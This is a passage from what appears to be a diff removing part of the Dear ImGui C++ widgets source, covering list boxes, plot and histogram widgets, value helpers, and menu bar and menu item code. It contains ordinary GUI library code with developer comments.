GetCurrentWindow(); - if (window->SkipItems) - return false; - - const ImGuiStyle& style = g.Style; - const ImGuiID id = GetID(label); - const ImVec2 label_size = CalcTextSize(label, NULL, true); - - // Size default to hold ~7.25 items. - // Fractional number of items helps seeing that we can scroll down/up without looking at scrollbar. - ImVec2 size = ImFloor(CalcItemSize(size_arg, CalcItemWidth(), GetTextLineHeightWithSpacing() * 7.25f + style.FramePadding.y * 2.0f)); - ImVec2 frame_size = ImVec2(size.x, ImMax(size.y, label_size.y)); - ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + frame_size); - ImRect bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); - g.NextItemData.ClearFlags(); - - if (!IsRectVisible(bb.Min, bb.Max)) - { - ItemSize(bb.GetSize(), style.FramePadding.y); - ItemAdd(bb, 0, &frame_bb); - return false; - } - - // FIXME-OPT: We could omit the BeginGroup() if label_size.x but would need to omit the EndGroup() as well. - BeginGroup(); - if (label_size.x > 0.0f) - { - ImVec2 label_pos = ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y); - RenderText(label_pos, label); - window->DC.CursorMaxPos = ImMax(window->DC.CursorMaxPos, label_pos + label_size); - } - - BeginChildFrame(id, frame_bb.GetSize()); - return true; -} - -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS -// OBSOLETED in 1.81 (from February 2021) -bool ImGui::ListBoxHeader(const char* label, int items_count, int height_in_items) -{ - // If height_in_items == -1, default height is maximum 7. - ImGuiContext& g = *GImGui; - float height_in_items_f = (height_in_items < 0 ? ImMin(items_count, 7) : height_in_items) + 0.25f; - ImVec2 size; - size.x = 0.0f; - size.y = GetTextLineHeightWithSpacing() * height_in_items_f + g.Style.FramePadding.y * 2.0f; - return BeginListBox(label, size); -} -#endif - -void ImGui::EndListBox() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - IM_ASSERT((window->Flags & ImGuiWindowFlags_ChildWindow) && "Mismatched BeginListBox/EndListBox calls. Did you test the return value of BeginListBox?"); - - EndChildFrame(); - EndGroup(); // This is only required to be able to do IsItemXXX query on the whole ListBox including label -} - -bool ImGui::ListBox(const char* label, int* current_item, const char* const items[], int items_count, int height_items) -{ - const bool value_changed = ListBox(label, current_item, Items_ArrayGetter, (void*)items, items_count, height_items); - return value_changed; -} - -// This is merely a helper around BeginListBox(), EndListBox(). -// Considering using those directly to submit custom data or store selection differently. -bool ImGui::ListBox(const char* label, int* current_item, bool (*items_getter)(void*, int, const char**), void* data, int items_count, int height_in_items) -{ - ImGuiContext& g = *GImGui; - - // Calculate size from "height_in_items" - if (height_in_items < 0) - height_in_items = ImMin(items_count, 7); - float height_in_items_f = height_in_items + 0.25f; - ImVec2 size(0.0f, ImFloor(GetTextLineHeightWithSpacing() * height_in_items_f + g.Style.FramePadding.y * 2.0f)); - - if (!BeginListBox(label, size)) - return false; - - // Assume all items have even height (= 1 line of text). If you need items of different height, - // you can create a custom version of ListBox() in your code without using the clipper. - bool value_changed = false; - ImGuiListClipper clipper; - clipper.Begin(items_count, GetTextLineHeightWithSpacing()); // We know exactly our line height here so we pass it as a minor optimization, but generally you don't need to. - while (clipper.Step()) - for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) - { - const char* item_text; - if (!items_getter(data, i, &item_text)) - item_text = "*Unknown item*"; - - PushID(i); - const bool item_selected = (i == *current_item); - if (Selectable(item_text, item_selected)) - { - *current_item = i; - value_changed = true; - } - if (item_selected) - SetItemDefaultFocus(); - PopID(); - } - EndListBox(); - if (value_changed) - MarkItemEdited(g.CurrentWindow->DC.LastItemId); - - return value_changed; -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: PlotLines, PlotHistogram -//------------------------------------------------------------------------- -// - PlotEx() [Internal] -// - PlotLines() -// - PlotHistogram() -//------------------------------------------------------------------------- -// Plot/Graph widgets are not very good. -// Consider writing your own, or using a third-party one, see: -// - ImPlot https://github.com/epezent/implot -// - others https://github.com/ocornut/imgui/wiki/Useful-Widgets -//------------------------------------------------------------------------- - -int ImGui::PlotEx(ImGuiPlotType plot_type, const char* label, float (*values_getter)(void* data, int idx), void* data, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 frame_size) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return -1; - - const ImGuiStyle& style = g.Style; - const ImGuiID id = window->GetID(label); - - const ImVec2 label_size = CalcTextSize(label, NULL, true); - if (frame_size.x == 0.0f) - frame_size.x = CalcItemWidth(); - if (frame_size.y == 0.0f) - frame_size.y = label_size.y + (style.FramePadding.y * 2); - - const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + frame_size); - const ImRect inner_bb(frame_bb.Min + style.FramePadding, frame_bb.Max - style.FramePadding); - const ImRect total_bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0)); - ItemSize(total_bb, style.FramePadding.y); - if (!ItemAdd(total_bb, 0, &frame_bb)) - return -1; - const bool hovered = ItemHoverable(frame_bb, id); - - // Determine scale from values if not specified - if (scale_min == FLT_MAX || scale_max == FLT_MAX) - { - float v_min = FLT_MAX; - float v_max = -FLT_MAX; - for (int i = 0; i < values_count; i++) - { - const float v = values_getter(data, i); - if (v != v) // Ignore NaN values - continue; - v_min = ImMin(v_min, v); - v_max = ImMax(v_max, v); - } - if (scale_min == FLT_MAX) - scale_min = v_min; - if (scale_max == FLT_MAX) - scale_max = v_max; - } - - RenderFrame(frame_bb.Min, frame_bb.Max, GetColorU32(ImGuiCol_FrameBg), true, style.FrameRounding); - - const int values_count_min = (plot_type == ImGuiPlotType_Lines) ? 2 : 1; - int idx_hovered = -1; - if (values_count >= values_count_min) - { - int res_w = ImMin((int)frame_size.x, values_count) + ((plot_type == ImGuiPlotType_Lines) ? -1 : 0); - int item_count = values_count + ((plot_type == ImGuiPlotType_Lines) ? -1 : 0); - - // Tooltip on hover - if (hovered && inner_bb.Contains(g.IO.MousePos)) - { - const float t = ImClamp((g.IO.MousePos.x - inner_bb.Min.x) / (inner_bb.Max.x - inner_bb.Min.x), 0.0f, 0.9999f); - const int v_idx = (int)(t * item_count); - IM_ASSERT(v_idx >= 0 && v_idx < values_count); - - const float v0 = values_getter(data, (v_idx + values_offset) % values_count); - const float v1 = values_getter(data, (v_idx + 1 + values_offset) % values_count); - if (plot_type == ImGuiPlotType_Lines) - SetTooltip("%d: %8.4g\n%d: %8.4g", v_idx, v0, v_idx + 1, v1); - else if (plot_type == ImGuiPlotType_Histogram) - SetTooltip("%d: %8.4g", v_idx, v0); - idx_hovered = v_idx; - } - - const float t_step = 1.0f / (float)res_w; - const float inv_scale = (scale_min == scale_max) ? 0.0f : (1.0f / (scale_max - scale_min)); - - float v0 = values_getter(data, (0 + values_offset) % values_count); - float t0 = 0.0f; - ImVec2 tp0 = ImVec2( t0, 1.0f - ImSaturate((v0 - scale_min) * inv_scale) ); // Point in the normalized space of our target rectangle - float histogram_zero_line_t = (scale_min * scale_max < 0.0f) ? (-scale_min * inv_scale) : (scale_min < 0.0f ? 0.0f : 1.0f); // Where does the zero line stands - - const ImU32 col_base = GetColorU32((plot_type == ImGuiPlotType_Lines) ? ImGuiCol_PlotLines : ImGuiCol_PlotHistogram); - const ImU32 col_hovered = GetColorU32((plot_type == ImGuiPlotType_Lines) ? ImGuiCol_PlotLinesHovered : ImGuiCol_PlotHistogramHovered); - - for (int n = 0; n < res_w; n++) - { - const float t1 = t0 + t_step; - const int v1_idx = (int)(t0 * item_count + 0.5f); - IM_ASSERT(v1_idx >= 0 && v1_idx < values_count); - const float v1 = values_getter(data, (v1_idx + values_offset + 1) % values_count); - const ImVec2 tp1 = ImVec2( t1, 1.0f - ImSaturate((v1 - scale_min) * inv_scale) ); - - // NB: Draw calls are merged together by the DrawList system. Still, we should render our batch are lower level to save a bit of CPU. - ImVec2 pos0 = ImLerp(inner_bb.Min, inner_bb.Max, tp0); - ImVec2 pos1 = ImLerp(inner_bb.Min, inner_bb.Max, (plot_type == ImGuiPlotType_Lines) ? tp1 : ImVec2(tp1.x, histogram_zero_line_t)); - if (plot_type == ImGuiPlotType_Lines) - { - window->DrawList->AddLine(pos0, pos1, idx_hovered == v1_idx ? col_hovered : col_base); - } - else if (plot_type == ImGuiPlotType_Histogram) - { - if (pos1.x >= pos0.x + 2.0f) - pos1.x -= 1.0f; - window->DrawList->AddRectFilled(pos0, pos1, idx_hovered == v1_idx ? col_hovered : col_base); - } - - t0 = t1; - tp0 = tp1; - } - } - - // Text overlay - if (overlay_text) - RenderTextClipped(ImVec2(frame_bb.Min.x, frame_bb.Min.y + style.FramePadding.y), frame_bb.Max, overlay_text, NULL, NULL, ImVec2(0.5f, 0.0f)); - - if (label_size.x > 0.0f) - RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, inner_bb.Min.y), label); - - // Return hovered index or -1 if none are hovered. - // This is currently not exposed in the public API because we need a larger redesign of the whole thing, but in the short-term we are making it available in PlotEx(). - return idx_hovered; -} - -struct ImGuiPlotArrayGetterData -{ - const float* Values; - int Stride; - - ImGuiPlotArrayGetterData(const float* values, int stride) { Values = values; Stride = stride; } -}; - -static float Plot_ArrayGetter(void* data, int idx) -{ - ImGuiPlotArrayGetterData* plot_data = (ImGuiPlotArrayGetterData*)data; - const float v = *(const float*)(const void*)((const unsigned char*)plot_data->Values + (size_t)idx * plot_data->Stride); - return v; -} - -void ImGui::PlotLines(const char* label, const float* values, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 graph_size, int stride) -{ - ImGuiPlotArrayGetterData data(values, stride); - PlotEx(ImGuiPlotType_Lines, label, &Plot_ArrayGetter, (void*)&data, values_count, values_offset, overlay_text, scale_min, scale_max, graph_size); -} - -void ImGui::PlotLines(const char* label, float (*values_getter)(void* data, int idx), void* data, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 graph_size) -{ - PlotEx(ImGuiPlotType_Lines, label, values_getter, data, values_count, values_offset, overlay_text, scale_min, scale_max, graph_size); -} - -void ImGui::PlotHistogram(const char* label, const float* values, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 graph_size, int stride) -{ - ImGuiPlotArrayGetterData data(values, stride); - PlotEx(ImGuiPlotType_Histogram, label, &Plot_ArrayGetter, (void*)&data, values_count, values_offset, overlay_text, scale_min, scale_max, graph_size); -} - -void ImGui::PlotHistogram(const char* label, float (*values_getter)(void* data, int idx), void* data, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 graph_size) -{ - PlotEx(ImGuiPlotType_Histogram, label, values_getter, data, values_count, values_offset, overlay_text, scale_min, scale_max, graph_size); -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: Value helpers -// Those is not very useful, legacy API. -//------------------------------------------------------------------------- -// - Value() -//------------------------------------------------------------------------- - -void ImGui::Value(const char* prefix, bool b) -{ - Text("%s: %s", prefix, (b ? "true" : "false")); -} - -void ImGui::Value(const char* prefix, int v) -{ - Text("%s: %d", prefix, v); -} - -void ImGui::Value(const char* prefix, unsigned int v) -{ - Text("%s: %d", prefix, v); -} - -void ImGui::Value(const char* prefix, float v, const char* float_format) -{ - if (float_format) - { - char fmt[64]; - ImFormatString(fmt, IM_ARRAYSIZE(fmt), "%%s: %s", float_format); - Text(fmt, prefix, v); - } - else - { - Text("%s: %.3f", prefix, v); - } -} - -//------------------------------------------------------------------------- -// [SECTION] MenuItem, BeginMenu, EndMenu, etc. -//------------------------------------------------------------------------- -// - ImGuiMenuColumns [Internal] -// - BeginMenuBar() -// - EndMenuBar() -// - BeginMainMenuBar() -// - EndMainMenuBar() -// - BeginMenu() -// - EndMenu() -// - MenuItem() -//------------------------------------------------------------------------- - -// Helpers for internal use -void ImGuiMenuColumns::Update(int count, float spacing, bool clear) -{ - IM_ASSERT(count == IM_ARRAYSIZE(Pos)); - IM_UNUSED(count); - Width = NextWidth = 0.0f; - Spacing = spacing; - if (clear) - memset(NextWidths, 0, sizeof(NextWidths)); - for (int i = 0; i < IM_ARRAYSIZE(Pos); i++) - { - if (i > 0 && NextWidths[i] > 0.0f) - Width += Spacing; - Pos[i] = IM_FLOOR(Width); - Width += NextWidths[i]; - NextWidths[i] = 0.0f; - } -} - -float ImGuiMenuColumns::DeclColumns(float w0, float w1, float w2) // not using va_arg because they promote float to double -{ - NextWidth = 0.0f; - NextWidths[0] = ImMax(NextWidths[0], w0); - NextWidths[1] = ImMax(NextWidths[1], w1); - NextWidths[2] = ImMax(NextWidths[2], w2); - for (int i = 0; i < IM_ARRAYSIZE(Pos); i++) - NextWidth += NextWidths[i] + ((i > 0 && NextWidths[i] > 0.0f) ? Spacing : 0.0f); - return ImMax(Width, NextWidth); -} - -float ImGuiMenuColumns::CalcExtraSpace(float avail_w) const -{ - return ImMax(0.0f, avail_w - Width); -} - -// FIXME: Provided a rectangle perhaps e.g. a BeginMenuBarEx() could be used anywhere.. -// Currently the main responsibility of this function being to setup clip-rect + horizontal layout + menu navigation layer. -// Ideally we also want this to be responsible for claiming space out of the main window scrolling rectangle, in which case ImGuiWindowFlags_MenuBar will become unnecessary. -// Then later the same system could be used for multiple menu-bars, scrollbars, side-bars. -bool ImGui::BeginMenuBar() -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - if (!(window->Flags & ImGuiWindowFlags_MenuBar)) - return false; - - IM_ASSERT(!window->DC.MenuBarAppending); - BeginGroup(); // Backup position on layer 0 // FIXME: Misleading to use a group for that backup/restore - PushID("##menubar"); - - // We don't clip with current window clipping rectangle as it is already set to the area below. However we clip with window full rect. - // We remove 1 worth of rounding to Max.x to that text in long menus and small windows don't tend to display over the lower-right rounded area, which looks particularly glitchy. - ImRect bar_rect = window->MenuBarRect(); - ImRect clip_rect(IM_ROUND(bar_rect.Min.x + window->WindowBorderSize), IM_ROUND(bar_rect.Min.y + window->WindowBorderSize), IM_ROUND(ImMax(bar_rect.Min.x, bar_rect.Max.x - ImMax(window->WindowRounding, window->WindowBorderSize))), IM_ROUND(bar_rect.Max.y)); - clip_rect.ClipWith(window->OuterRectClipped); - PushClipRect(clip_rect.Min, clip_rect.Max, false); - - // We overwrite CursorMaxPos because BeginGroup sets it to CursorPos (essentially the .EmitItem hack in EndMenuBar() would need something analogous here, maybe a BeginGroupEx() with flags). - window->DC.CursorPos = window->DC.CursorMaxPos = ImVec2(bar_rect.Min.x + window->DC.MenuBarOffset.x, bar_rect.Min.y + window->DC.MenuBarOffset.y); - window->DC.LayoutType = ImGuiLayoutType_Horizontal; - window->DC.NavLayerCurrent = ImGuiNavLayer_Menu; - window->DC.MenuBarAppending = true; - AlignTextToFramePadding(); - return true; -} - -void ImGui::EndMenuBar() -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - ImGuiContext& g = *GImGui; - - // Nav: When a move request within one of our child menu failed, capture the request to navigate among our siblings. - if (NavMoveRequestButNoResultYet() && (g.NavMoveDir == ImGuiDir_Left || g.NavMoveDir == ImGuiDir_Right) && (g.NavWindow->Flags & ImGuiWindowFlags_ChildMenu)) - { - ImGuiWindow* nav_earliest_child = g.NavWindow; - while (nav_earliest_child->ParentWindow && (nav_earliest_child->ParentWindow->Flags & ImGuiWindowFlags_ChildMenu)) - nav_earliest_child = nav_earliest_child->ParentWindow; - if (nav_earliest_child->ParentWindow == window && nav_earliest_child->DC.ParentLayoutType == ImGuiLayoutType_Horizontal && g.NavMoveRequestForward == ImGuiNavForward_None) - { - // To do so we claim focus back, restore NavId and then process the movement request for yet another frame. - // This involve a one-frame delay which isn't very problematic in this situation. We could remove it by scoring in advance for multiple window (probably not worth the hassle/cost) - const ImGuiNavLayer layer = ImGuiNavLayer_Menu; - IM_ASSERT(window->DC.NavLayerActiveMaskNext & (1 << layer)); // Sanity check - FocusWindow(window); - SetNavID(window->NavLastIds[layer], layer, 0, window->NavRectRel[layer]); - g.NavDisableHighlight = true; // Hide highlight for the current frame so we don't see the intermediary selection. - g.NavDisableMouseHover = g.NavMousePosDirty = true; - g.NavMoveRequestForward = ImGuiNavForward_ForwardQueued; - NavMoveRequestCancel(); - } - } - - IM_ASSERT(window->Flags & ImGuiWindowFlags_MenuBar); - IM_ASSERT(window->DC.MenuBarAppending); - PopClipRect(); - PopID(); - window->DC.MenuBarOffset.x = window->DC.CursorPos.x - window->MenuBarRect().Min.x; // Save horizontal position so next append can reuse it. This is kinda equivalent to a per-layer CursorPos. - g.GroupStack.back().EmitItem = false; - EndGroup(); // Restore position on layer 0 - window->DC.LayoutType = ImGuiLayoutType_Vertical; - window->DC.NavLayerCurrent = ImGuiNavLayer_Main; - window->DC.MenuBarAppending = false; -} - -bool ImGui::BeginMainMenuBar() -{ - ImGuiContext& g = *GImGui; - ImGuiViewportP* viewport = (ImGuiViewportP*)(void*)GetMainViewport(); - ImGuiWindow* menu_bar_window = FindWindowByName("##MainMenuBar"); - - // For the main menu bar, which cannot be moved, we honor g.Style.DisplaySafeAreaPadding to ensure text can be visible on a TV set. - g.NextWindowData.MenuBarOffsetMinVal = ImVec2(g.Style.DisplaySafeAreaPadding.x, ImMax(g.Style.DisplaySafeAreaPadding.y - g.Style.FramePadding.y, 0.0f)); - - // Get our rectangle at the top of the work area - if (menu_bar_window == NULL || menu_bar_window->BeginCount == 0) - { - // Set window position - // We don't attempt to calculate our height ahead, as it depends on the per-viewport font size. - // However menu-bar will affect the minimum window size so we'll get the right height. - ImVec2 menu_bar_pos = viewport->Pos + viewport->CurrWorkOffsetMin; - ImVec2 menu_bar_size = ImVec2(viewport->Size.x - viewport->CurrWorkOffsetMin.x + viewport->CurrWorkOffsetMax.x, 1.0f); - SetNextWindowPos(menu_bar_pos); - SetNextWindowSize(menu_bar_size); - } - - // Create window - PushStyleVar(ImGuiStyleVar_WindowRounding, 0.0f); - PushStyleVar(ImGuiStyleVar_WindowMinSize, ImVec2(0, 0)); // Lift normal size constraint, however the presence of a menu-bar will give us the minimum height we want. - ImGuiWindowFlags window_flags = ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoScrollbar | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_MenuBar; - bool is_open = Begin("##MainMenuBar", NULL, window_flags) && BeginMenuBar(); - PopStyleVar(2); - - // Report our size into work area (for next frame) using actual window size - menu_bar_window = GetCurrentWindow(); - if (menu_bar_window->BeginCount == 1) - viewport->CurrWorkOffsetMin.y += menu_bar_window->Size.y; - - g.NextWindowData.MenuBarOffsetMinVal = ImVec2(0.0f, 0.0f); - if (!is_open) - { - End(); - return false; - } - return true; //-V1020 -} - -void ImGui::EndMainMenuBar() -{ - EndMenuBar(); - - // When the user has left the menu layer (typically: closed menus through activation of an item), we restore focus to the previous window - // FIXME: With this strategy we won't be able to restore a NULL focus. - ImGuiContext& g = *GImGui; - if (g.CurrentWindow == g.NavWindow && g.NavLayer == ImGuiNavLayer_Main && !g.NavAnyRequest) - FocusTopMostWindowUnderOne(g.NavWindow, NULL); - - End(); -} - -bool ImGui::BeginMenu(const char* label, bool enabled) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const ImGuiID id = window->GetID(label); - bool menu_is_open = IsPopupOpen(id, ImGuiPopupFlags_None); - - // Sub-menus are ChildWindow so that mouse can be hovering across them (otherwise top-most popup menu would steal focus and not allow hovering on parent menu) - ImGuiWindowFlags flags = ImGuiWindowFlags_ChildMenu | ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoNavFocus; - if (window->Flags & (ImGuiWindowFlags_Popup | ImGuiWindowFlags_ChildMenu)) - flags |= ImGuiWindowFlags_ChildWindow; - - // If a menu with same the ID was already submitted, we will append to it, matching the behavior of Begin(). - // We are relying on a O(N) search - so O(N log N) over the frame - which seems like the most efficient for the expected small amount of BeginMenu() calls per frame. - // If somehow this is ever becoming a problem we can switch to use e.g. ImGuiStorage mapping key to last frame used. - if (g.MenusIdSubmittedThisFrame.contains(id)) - { - if (menu_is_open) - menu_is_open = BeginPopupEx(id, flags); // menu_is_open can be 'false' when the popup is completely clipped (e.g. zero size display) - else - g.NextWindowData.ClearFlags(); // we behave like Begin() and need to consume those values - return menu_is_open; - } - - // Tag menu as used. Next time BeginMenu() with same ID is called it will append to existing menu - g.MenusIdSubmittedThisFrame.push_back(id); - - ImVec2 label_size = CalcTextSize(label, NULL, true); - bool pressed; - bool menuset_is_open = !(window->Flags & ImGuiWindowFlags_Popup) && (g.OpenPopupStack.Size > g.BeginPopupStack.Size && g.OpenPopupStack[g.BeginPopupStack.Size].OpenParentId == window->IDStack.back()); - ImGuiWindow* backed_nav_window = g.NavWindow; - if (menuset_is_open) - g.NavWindow = window; // Odd hack to allow hovering across menus of a same menu-set (otherwise we wouldn't be able to hover parent) - - // The reference position stored in popup_pos will be used by Begin() to find a suitable position for the child menu, - // However the final position is going to be different! It is chosen by FindBestWindowPosForPopup(). - // e.g. Menus tend to overlap each other horizontally to amplify relative Z-ordering. - ImVec2 popup_pos, pos = window->DC.CursorPos; - if (window->DC.LayoutType == ImGuiLayoutType_Horizontal) - { - // Menu inside an horizontal menu bar - // Selectable extend their highlight by half ItemSpacing in each direction. - // For ChildMenu, the popup position will be overwritten by the call to FindBestWindowPosForPopup() in Begin() - popup_pos = ImVec2(pos.x - 1.0f - IM_FLOOR(style.ItemSpacing.x * 0.5f), pos.y - style.FramePadding.y + window->MenuBarHeight()); - window->DC.CursorPos.x += IM_FLOOR(style.ItemSpacing.x * 0.5f); - PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(style.ItemSpacing.x * 2.0f, style.ItemSpacing.y)); - float w = label_size.x; - pressed = Selectable(label, menu_is_open, ImGuiSelectableFlags_NoHoldingActiveID | ImGuiSelectableFlags_SelectOnClick | ImGuiSelectableFlags_DontClosePopups | (!enabled ? ImGuiSelectableFlags_Disabled : 0), ImVec2(w, 0.0f)); - PopStyleVar(); - window->DC.CursorPos.x += IM_FLOOR(style.ItemSpacing.x * (-1.0f + 0.5f)); // -1 spacing to compensate the spacing added when Selectable() did a SameLine(). It would also work to call SameLine() ourselves after the PopStyleVar(). - } - else - { - // Menu inside a menu - // (In a typical menu window where all items are BeginMenu() or MenuItem() calls, extra_w will always be 0.0f. - // Only when they are other items sticking out we're going to add spacing, yet only register minimum width into the layout system. - popup_pos = ImVec2(pos.x, pos.y - style.WindowPadding.y); - float min_w = window->DC.MenuColumns.DeclColumns(label_size.x, 0.0f, IM_FLOOR(g.FontSize * 1.20f)); // Feedback to next frame - float extra_w = ImMax(0.0f, GetContentRegionAvail().x - min_w); - pressed = Selectable(label, menu_is_open, ImGuiSelectableFlags_NoHoldingActiveID | ImGuiSelectableFlags_SelectOnClick | ImGuiSelectableFlags_DontClosePopups | ImGuiSelectableFlags_SpanAvailWidth | (!enabled ? ImGuiSelectableFlags_Disabled : 0), ImVec2(min_w, 0.0f)); - ImU32 text_col = GetColorU32(enabled ? ImGuiCol_Text : ImGuiCol_TextDisabled); - RenderArrow(window->DrawList, pos + ImVec2(window->DC.MenuColumns.Pos[2] + extra_w + g.FontSize * 0.30f, 0.0f), text_col, ImGuiDir_Right); - } - - const bool hovered = enabled && ItemHoverable(window->DC.LastItemRect, id); - if (menuset_is_open) - g.NavWindow = backed_nav_window; - - bool want_open = false; - bool want_close = false; - if (window->DC.LayoutType == ImGuiLayoutType_Vertical) // (window->Flags & (ImGuiWindowFlags_Popup|ImGuiWindowFlags_ChildMenu)) - { - // Close menu when not hovering it anymore unless we are moving roughly in the direction of the menu - // Implement http://bjk5.com/post/44698559168/breaking-down-amazons-mega-dropdown to avoid using timers, so menus feels more reactive. - bool moving_toward_other_child_menu = false; - - ImGuiWindow* child_menu_window = (g.BeginPopupStack.Size < g.OpenPopupStack.Size && g.OpenPopupStack[g.BeginPopupStack.Size].SourceWindow == window) ? g.OpenPopupStack[g.BeginPopupStack.Size].Window : NULL; - if (g.HoveredWindow == window && child_menu_window != NULL && !(window->Flags & ImGuiWindowFlags_MenuBar)) - { - // FIXME-DPI: Values should be derived from a master "scale" factor. - ImRect next_window_rect = child_menu_window->Rect(); - ImVec2 ta = g.IO.MousePos - g.IO.MouseDelta; - ImVec2 tb = (window->Pos.x < child_menu_window->Pos.x) ? next_window_rect.GetTL() : next_window_rect.GetTR(); - ImVec2 tc = (window->Pos.x < child_menu_window->Pos.x) ? next_window_rect.GetBL() : next_window_rect.GetBR(); - float extra = ImClamp(ImFabs(ta.x - tb.x) * 0.30f, 5.0f, 30.0f); // add a bit of extra slack. - ta.x += (window->Pos.x < child_menu_window->Pos.x) ? -0.5f : +0.5f; // to avoid numerical issues - tb.y = ta.y + ImMax((tb.y - extra) - ta.y, -100.0f); // triangle is maximum 200 high to limit the slope and the bias toward large sub-menus // FIXME: Multiply by fb_scale? - tc.y = ta.y + ImMin((tc.y + extra) - ta.y, +100.0f); - moving_toward_other_child_menu = ImTriangleContainsPoint(ta, tb, tc, g.IO.MousePos); - //GetForegroundDrawList()->AddTriangleFilled(ta, tb, tc, moving_within_opened_triangle ? IM_COL32(0,128,0,128) : IM_COL32(128,0,0,128)); // [DEBUG] - } - if (menu_is_open && !hovered && g.HoveredWindow == window && g.HoveredIdPreviousFrame != 0 && g.HoveredIdPreviousFrame != id && !moving_toward_other_child_menu) - want_close = true; - - if (!menu_is_open && hovered && pressed) // Click to open - want_open = true; - else if (!menu_is_open && hovered && !moving_toward_other_child_menu) // Hover to open - want_open = true; - - if (g.NavActivateId == id) - { - want_close = menu_is_open; - want_open = !menu_is_open; - } - if (g.NavId == id && g.NavMoveRequest && g.NavMoveDir == ImGuiDir_Right) // Nav-Right to open - { - want_open = true; - NavMoveRequestCancel(); - } - } - else - { - // Menu bar - if (menu_is_open && pressed && menuset_is_open) // Click an open menu again to close it - { - want_close = true; - want_open = menu_is_open = false; - } - else if (pressed || (hovered && menuset_is_open && !menu_is_open)) // First click to open, then hover to open others - { - want_open = true; - } - else if (g.NavId == id && g.NavMoveRequest && g.NavMoveDir == ImGuiDir_Down) // Nav-Down to open - { - want_open = true; - NavMoveRequestCancel(); - } - } - - if (!enabled) // explicitly close if an open menu becomes disabled, facilitate users code a lot in pattern such as 'if (BeginMenu("options", has_object)) { ..use object.. }' - want_close = true; - if (want_close && IsPopupOpen(id, ImGuiPopupFlags_None)) - ClosePopupToLevel(g.BeginPopupStack.Size, true); - - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags | ImGuiItemStatusFlags_Openable | (menu_is_open ? ImGuiItemStatusFlags_Opened : 0)); - - if (!menu_is_open && want_open && g.OpenPopupStack.Size > g.BeginPopupStack.Size) - { - // Don't recycle same menu level in the same frame, first close the other menu and yield for a frame. - OpenPopup(label); - return false; - } - - menu_is_open |= want_open; - if (want_open) - OpenPopup(label); - - if (menu_is_open) - { - SetNextWindowPos(popup_pos, ImGuiCond_Always); // Note: this is super misleading! The value will serve as reference for FindBestWindowPosForPopup(), not actual pos. - menu_is_open = BeginPopupEx(id, flags); // menu_is_open can be 'false' when the popup is completely clipped (e.g. zero size display) - } - else - { - g.NextWindowData.ClearFlags(); // We behave like Begin() and need to consume those values - } - - return menu_is_open; -} - -void ImGui::EndMenu() -{ - // Nav: When a left move request _within our child menu_ failed, close ourselves (the _parent_ menu). - // A menu doesn't close itself because EndMenuBar() wants the catch the last Left<>Right inputs. - // However, it means that with the current code, a BeginMenu() from outside another menu or a menu-bar won't be closable with the Left direction. - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (g.NavWindow && g.NavWindow->ParentWindow == window && g.NavMoveDir == ImGuiDir_Left && NavMoveRequestButNoResultYet() && window->DC.LayoutType == ImGuiLayoutType_Vertical) - { - ClosePopupToLevel(g.BeginPopupStack.Size, true); - NavMoveRequestCancel(); - } - - EndPopup(); -} - -bool ImGui::MenuItem(const char* label, const char* shortcut, bool selected, bool enabled) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - ImGuiStyle& style = g.Style; - ImVec2 pos = window->DC.CursorPos; - ImVec2 label_size = CalcTextSize(label, NULL, true); - - // We've been using the equivalent of ImGuiSelectableFlags_SetNavIdOnHover on all Selectable() since early Nav system days (commit 43ee5d73), - // but I am unsure whether this should be kept at all. For now moved it to be an opt-in feature used by menus only. - ImGuiSelectableFlags flags = ImGuiSelectableFlags_SelectOnRelease | ImGuiSelectableFlags_SetNavIdOnHover | (enabled ? 0 : ImGuiSelectableFlags_Disabled); - bool pressed; - if (window->DC.LayoutType == ImGuiLayoutType_Horizontal) - { - // Mimic the exact layout spacing of BeginMenu() to allow MenuItem() inside a menu bar, which is a little misleading but may be useful - // Note that in this situation we render neither the shortcut neither the selected tick mark - float w = label_size.x; - window->DC.CursorPos.x += IM_FLOOR(style.ItemSpacing.x * 0.5f); - PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(style.ItemSpacing.x * 2.0f, style.ItemSpacing.y)); - pressed = Selectable(label, false, flags, ImVec2(w, 0.0f)); - PopStyleVar(); - window->DC.CursorPos.x += IM_FLOOR(style.ItemSpacing.x * (-1.0f + 0.5f)); // -1 spacing to compensate the spacing added when Selectable() did a 